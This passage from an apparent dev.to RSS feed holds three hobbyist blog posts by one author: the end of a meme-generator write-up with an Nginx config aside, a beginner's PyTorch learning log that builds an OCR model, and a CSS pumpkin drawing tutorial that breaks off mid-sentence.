&lt;p&gt;So, my first project was a web project where I used JS Canvas. I forgot this existed; I used it once before, six years ago, at school. I also learnt how to use Node.js, both for hosting and to automate a small task I was too lazy to do by hand. So, what is my first project? A simple meme maker: &lt;a href="https://memes.michaelrbparker.com/" rel="noopener noreferrer"&gt;https://memes.michaelrbparker.com/&lt;/a&gt;. My JS is all alright, but I didn't know a way to get all the images without Node. I ended up creating an API endpoint with a list of all image files. Then it will randomly select one. If there's not a template you like, there's an option to upload your own image. After that, it's as simple as using JS Canvas to make the image. Overall, this all took maybe two hours. The bigger issue was Nginx. I think the only people who know how Nginx works are Igor Sysoev (the creator) and God. Sometimes I question whether Igor fully knows how to use it. Initially, my images were being hidden away, so I modified my config by adding:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;location /media/ { root /home/user/app; }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This fixed it for about a day. A day later, the website was 404ing when trying to locate an image. I removed the location bit, and it started working again. Nginx will always be a mysterious thing. So here is the code: &lt;a href="https://github.com/micfun123/Meme-Generator" rel="noopener noreferrer"&gt;https://github.com/micfun123/Meme-Generator&lt;/a&gt;. I don't think I have any more to say. I hope you join me on my challenge. I look forward to seeing what you all make.&lt;/p&gt;

</description>
      <category>web3</category>
      <category>sideprojects</category>
      <category>newyearchallenge</category>
    </item>
    <item>
      <title>My (highly caffeinated) journey to unlock the hidden knowledge of AI.</title>
      <dc:creator>Michael Parker</dc:creator>
      <pubDate>Sun, 29 Dec 2024 09:48:09 +0000</pubDate>
      <link>https://dev.to/the_tea_drinker/my-highly-caffeinated-journey-to-unlock-the-hidden-knowledge-of-ai-27fc</link>
      <guid>https://dev.to/the_tea_drinker/my-highly-caffeinated-journey-to-unlock-the-hidden-knowledge-of-ai-27fc</guid>
      <description>&lt;p&gt;Welcome to my (highly caffeinated) journey to unlock the hidden knowledge of AI. &lt;/p&gt;

&lt;p&gt;I have no idea how AI or ML works, but I’m here to document my learning journey. I started off reading the Blitz PyTorch course, mostly because I was told it was the fastest way to get from 0 knowledge to a working model. Still a long way off publishing a paper, but it’s a start. &lt;/p&gt;

&lt;p&gt;It was going great until the 13th word: "Matrices." After a small sidetrack (thank you, The Organic Chemistry Tutor) and a tea break, I now understand what a matrix is. Time to go back to PyTorch. It turns out that while tensors are a simple concept, they’re hard to get my head around. Something wasn’t clicking. I put some code together to help me visualise the 3D tensor. So, a tensor with the shape &lt;code&gt;(4, 2, 3)&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;A tensor is a way of storing numbers. A 0D tensor is a single number, like saying &lt;code&gt;x = 9&lt;/code&gt;. If you’re doing Physics/Mathematics, it would store a scalar value.&lt;/p&gt;

&lt;p&gt;A 1D tensor is similar to an array of numbers (or a list in Python). In maths and physics, it would be a vector:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;x = [2, 4, 5, 6]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;A 2D tensor (a matrix) is a two-dimensional array of numbers in rows and columns:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;x = [[1, 2, 3, 4], [5, 6, 7, 8], [9, 10, 11, 12]]&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;A 3D tensor can be pictured like matrices stacked on top of matrices. The image below is something I made using Matplotlib.&lt;/p&gt;

&lt;p&gt;Of course, higher-dimensional tensors exist, but they are hard to picture. I currently don’t have a way to draw in the 4th and 5th dimensions. Luckily, computers can just look at the numbers, so we don’t need to visualise them.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3vnfutt7wj6ylumvgqbw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3vnfutt7wj6ylumvgqbw.png" alt="3D Tensor Diagram" width="800" height="798"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tensors seem like they can do a lot of things. They feel powerful, and I love how they can bridge over to NumPy.&lt;/p&gt;

&lt;p&gt;Next up on my highly caffeinated journey: autograd. Autograd requires two steps: Forward Propagation and Backward Propagation. &lt;/p&gt;

&lt;p&gt;So, Forward Propagation is exactly what you think it is—as long as you think about the way input data is passed through the multiple layers of a neural network. At each neuron, it makes an educated guess about the output.&lt;/p&gt;

&lt;p&gt;Backward Propagation is a bit more complicated. We adjust the parameters used to make the estimates based on the errors in its guesses. It does this by traversing backwards through the graph, calculating the gradient, and then changing the parameters to decrease the gradient.&lt;/p&gt;

&lt;p&gt;Autograd keeps track of all the calculations done on a piece of data and creates a list to store the order of each operation. This list is built up during Forward Propagation. Once the list is built, we use Backward Propagation to calculate the gradient at each stage. At each stage, we can then change parameters to lower the gradient and make our model more accurate. Autograd also allows for dynamic computation, meaning we can change the layout and the parameters depending on the input.&lt;/p&gt;

&lt;p&gt;Now, the fun stuff. A Feed-Forward Network is a form of multi-layer neural network that takes inputs, passes them through multiple layers of neurons, and has an output. It’s important to note there are no loops; all the data is always passed forward. Feed-Forward Networks always have 1 input layer, at least 1 hidden layer, and then 1 output layer.  &lt;/p&gt;

&lt;p&gt;To be honest, I’ve gotten a bit bored of reading and not coding, so let’s try to make an OCR model (Optical Character Recognition model) that I can link up to OpenCV to read characters from my webcam.&lt;/p&gt;

&lt;p&gt;To start off, we create a class for our dataset. Basically, this is just a fancy way to load an image for our tensor, but we also pass in our transformers (I’ll mention this in a minute) as well as a flag called &lt;code&gt;is_training&lt;/code&gt; (this is the way I’m doing it). If this flag is true, then we also pass in the label with the image. In addition to deciding what data to pass in (e.g., label or no label), we resize all the images to be the same, convert the image into an array, and then finally apply the transformers. Transformers are filters applied to an image that will help your model recognise them in more situations, such as adding some small random rotation, changing hue and brightness, and greyscaling. While these are not mandatory, they help lower the amount of data you need to train your model.  &lt;/p&gt;

&lt;p&gt;Step two involves loading our data using the class. When we load the data, we specify a &lt;code&gt;batch_size&lt;/code&gt;, which is the number of samples (pieces of data) passed through the model (as inputs to the internal neurons) during each epoch. An epoch represents one complete pass through the training dataset, and within it, the model processes the data in smaller groups or "batches." A higher batch size can speed up the learning process, but it may also lead to decreased accuracy in the model.&lt;/p&gt;

&lt;p&gt;Epochs are the number of times we loop through the data, and while there is no upper limit, you can do too many loops. Overfitting happens when the model doesn’t just learn the patterns but also learns all the background noise. This means the model can only spot the data it was trained on. There’s also a point where the results improve so marginally that it’s not worth the power spent.&lt;/p&gt;

&lt;p&gt;In each epoch, we do backtracking and optimisation. Optimisation is the process of trying to lower the gradient. I’ve come across two types of optimisation: SGD (Stochastic Gradient Descent) and Adam. SGD updates the model parameters using a fixed learning rate for all parameters, which can be simple but sometimes slow to converge (the point at which a model's performance stabilises, with the loss function reaching a minimal and constant value). Adam (Adaptive Moment Estimation), on the other hand, adapts the learning rate for each parameter individually, often leading to faster convergence and better performance on complex problems.&lt;/p&gt;

&lt;p&gt;Now that we have our training model, we let it run for a few hours and listen to our laptop cry. (I find this is a good opportunity to go to the gym, the pub, or both. Trust me—let your laptop have its time.) Due to this break, it’s time for a quick message from our sponsor: ME. There’s a small "Buy Me a Coffee" button in the bottom right. I’d greatly appreciate it if you took a look.&lt;/p&gt;

&lt;p&gt;Now for the most important final step: saving the model. This one line can save your sanity: &lt;code&gt;torch.save(model.state_dict(), 'model.pth')&lt;/code&gt;. I may or may not have fully trained my model and then realised I didn’t have this SINGLE line of code to save it. This led to a small cry and me spending the next FOUR HOURS retraining the model so I could save it. &lt;/p&gt;

&lt;p&gt;Finally, using the model is straightforward:  &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Load the model we made earlier.
&lt;/li&gt;
&lt;li&gt;Load the saved weights that we just trained.
&lt;/li&gt;
&lt;li&gt;Take a photo using OpenCV and pass it through a fun bit of code to make it greyscale.
&lt;/li&gt;
&lt;li&gt;Input it into the fancy black-box AI we made and wait for it to spit out an output.
&lt;/li&gt;
&lt;li&gt;Celebrate that it works!&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So that’s a very high-level overview of an OCR model. If you’re interested, here’s the &lt;a href="https://github.com/micfun123/learn_py_torch/tree/main/MNIST" rel="noopener noreferrer"&gt;code&lt;/a&gt;. If you have any questions, head over to our &lt;a href="https://discord.gg/2SZm46Jevq" rel="noopener noreferrer"&gt;Discord&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Next, I need to make an LSTM (Long Short-Term Memory) and an ARIMA (Autoregressive Integrated Moving Average) for my research project. However, this feels like a natural break, so let’s make it a 2-parter. If you’d like me to make some YT videos on this, let me know, and as always, thank you for reading. &lt;/p&gt;

&lt;p&gt;If you enjoyed the blog, feel free to join the &lt;a href="https://discord.gg/2SZm46Jevq" rel="noopener noreferrer"&gt;Discord&lt;/a&gt; or &lt;a href="https://www.reddit.com/r/MichaelMediaGroup/" rel="noopener noreferrer"&gt;Reddit&lt;/a&gt; to get updates and talk about the articles. Or follow the &lt;a href="https://blog.michaelrbparker.com/rss.xml" rel="noopener noreferrer"&gt;RSS feed&lt;/a&gt;.  &lt;/p&gt;

</description>
      <category>ai</category>
      <category>devlog</category>
      <category>learning</category>
      <category>machinelearning</category>
    </item>
    <item>
      <title>How I made a Pure CSS Pumpkin.</title>
      <dc:creator>Michael Parker</dc:creator>
      <pubDate>Sat, 28 Dec 2024 09:37:52 +0000</pubDate>
      <link>https://dev.to/the_tea_drinker/how-i-made-a-pure-css-pumpkin-3mgm</link>
      <guid>https://dev.to/the_tea_drinker/how-i-made-a-pure-css-pumpkin-3mgm</guid>
      <description>&lt;p&gt;Happy Halloween, I made this recently made this 100% CSS Pumpkin to get in to the spooky season spirit and some people would like to know how it was made. &lt;/p&gt;

&lt;p&gt;See the Pen &lt;a href="https://codepen.io/micfun123/pen/jOgZXQQ" rel="noopener noreferrer"&gt;&lt;br&gt;
  100% CSS Pumpkin&lt;/a&gt; by micfun123 (&lt;a href="https://codepen.io/micfun123" rel="noopener noreferrer"&gt;@micfun123&lt;/a&gt;)&lt;br&gt;
  on &lt;a href="https://codepen.io" rel="noopener noreferrer"&gt;CodePen&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So let me explain how it works. For those of you who just want the code and dont want to see the process, here is the &lt;a href="https://codepen.io/micfun123/pen/jOgZXQQ" rel="noopener noreferrer"&gt;CodePen&lt;/a&gt; .&lt;/p&gt;

&lt;p&gt;I have never done something like this before so my first goal was the 3 orange ovals. &lt;/p&gt;

&lt;p&gt;So I started off with the HTML.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;html&lt;/span&gt; &lt;span class="na"&gt;lang=&lt;/span&gt;&lt;span class="s"&gt;"en"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;charset=&lt;/span&gt;&lt;span class="s"&gt;"UTF-8"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;meta&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"viewport"&lt;/span&gt; &lt;span class="na"&gt;content=&lt;/span&gt;&lt;span class="s"&gt;"width=device-width, initial-scale=1.0"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;CSS Pumpkin&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;link&lt;/span&gt; &lt;span class="na"&gt;rel=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"pumpkin.css"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"pumpkin"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"left"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"center"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"right"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
        &lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The HTML does not really change anything now but it also don't show anything yet. Time for the CSS.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nt"&gt;body&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;justify-content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="nl"&gt;align-items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100vh&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.pumpkin&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;position&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;relative&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;flex&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;align-items&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;  
&lt;span class="nc"&gt;.left&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;110px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;160px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;rgb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;117&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.right&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;110px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;160px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;rgb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;117&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;  
&lt;span class="nc"&gt;.center&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;110px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;160px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;rgb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;117&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This outputs 3 Perfect orange Ovals side by side.  What is going on here?  First, we centre the pumpkin div in the centre of the page using the body tag. We doing this with the first 3 lines. Next, we use &lt;code&gt;height: 100vh;&lt;/code&gt; To tell the code that the body tag is taking up 100% of the screen. Without this it will the body tag will only be as big as the content, meaning that the Ovals will be centred across the top of the page.  So here is what it looks like.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdosubyk2rzy2qw8l0h5d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdosubyk2rzy2qw8l0h5d.png" alt="# Orange Ovals" width="800" height="411"&gt;&lt;/a&gt;&lt;br&gt;
Next, We want the circles to overlap, this can be done fairly easily by giving the left and right Ovals a negative margin.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nc"&gt;.left&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;110px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;160px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;rgb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;117&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;margin-right&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;-45px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.right&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;110px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;160px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;rgb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;117&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;margin-left&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;-45px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So here we moving the right Ovel over to the left by 45 pixels and the left Ovel to the right by 45 pixels. (I'm not going to add a photo of this stage as I still have not got a way to deal with storing photos) &lt;/p&gt;

&lt;p&gt;Now for the harder part (Some, ok a lot of Google was used)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nc"&gt;.stem&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;position&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;absolute&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;-30px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;left&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;translateX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;-50%&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c"&gt;/* Center the stem horizontally with in the contanter */&lt;/span&gt;
&lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;30px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;60px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="no"&gt;brown&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;3px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;z-index&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nc"&gt;.curve&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nl"&gt;position&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;absolute&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;-47px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;left&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;43%&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;translateX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;-50%&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c"&gt;/* Center the stem horizontally with in the contanter */&lt;/span&gt;
&lt;span class="nl"&gt;transform&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;rotate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;-15deg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;30px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;30px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;background-color&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="no"&gt;brown&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;3px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nl"&gt;z-index&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So &lt;code&gt;width&lt;/code&gt; , &lt;code&gt;height&lt;/code&gt;, &lt;code&gt;border-radius&lt;/code&gt; and &lt;code&gt;background-color&lt;/code&gt; are pretty self-explanatory.  So im going to skip over it.  Starting with &lt;code&gt;position: absolute;&lt;/code&gt;  what this does is remove the div from the flow of the website. Instead, it is based on the nearest anchor point.  &lt;code&gt;position: absolute;&lt;/code&gt;  Can be placed over any element. Next, to centre the Stem horizontally we use &lt;code&gt;left: 50%&lt;/code&gt; and &lt;code&gt;transform: translateX(-50%);&lt;/code&gt; It makes sense when you think about it but you do have to think about it to start &lt;code&gt;left: 50%&lt;/code&gt; Centers the left edge of the stem within the pumpkin div. I want the centre of the stem to be in the centre of the pumpkin. &lt;code&gt;transform: translateX(-50%);&lt;/code&gt; moves the stem back over towards the left side by half the stem size. &lt;code&gt;top: 